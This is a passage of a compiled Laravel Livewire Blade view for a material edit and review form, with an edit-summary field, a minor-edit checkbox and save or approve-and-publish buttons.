<?php echo e($term['title']); ?>
</button>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::endLoop(); ?><?php endif; ?><?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php \Livewire\Features\SupportCompiledWireKeys\SupportCompiledWireKeys::closeLoop(); ?><?php endif; ?>
</div>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($material): ?>
<div class="rounded-lg border border-slate-200 bg-slate-50 p-4 space-y-3">
<p class="text-xs font-semibold text-slate-500 uppercase tracking-wide">Edit summary</p>
<textarea
wire:model="editNote"
rows="2"
placeholder="Briefly describe what you changed (optional)..."
class="w-full rounded-md border-slate-300 shadow-sm focus:border-navy-500 focus:ring-navy-500 text-sm"
></textarea>
<label class="flex items-center gap-2 cursor-pointer select-none">
<input
type="checkbox"
wire:model="isMinorEdit"
class="rounded border-slate-300 text-navy-600 focus:ring-navy-500"
>
<span class="text-sm text-slate-600">Minor edit <span class="text-slate-400">(no notification sent to the submitter)</span></span>
</label>
</div>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<div class="flex items-center justify-end gap-4">
<a href="<?php echo e($reviewMode ? route('admin.pending') : route('materials.index')); ?>" class="text-sm font-medium text-slate-600 hover:text-slate-900">
Cancel
</a>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($reviewMode): ?>
<button
type="submit"
class="inline-flex items-center gap-2 px-5 py-2.5 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-green-600 hover:bg-green-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-green-500"
>
<svg wire:loading.remove wire:target="save" class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7" />
</svg>
<span wire:loading.remove wire:target="save">Approve & Publish</span>
<span wire:loading wire:target="save">Publishing...</span>
</button>
<?php else: ?>
<button
type="submit"
class="inline-flex items-center px-4 py-2 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-navy-600 hover:bg-navy-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-navy-500"
>
<span wire:loading.remove wire:target="save">
<?php echo e($material ? 'Save' : 'Add'); ?>
</span>
<span wire:loading wire:target="save">
Saving...
</span>
</button>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
</form>
</div>
</div>
<?php /**PATH /var/www/html/flnavigator/resources/views/livewire/material-form.blade.php ENDPATH**/ ?>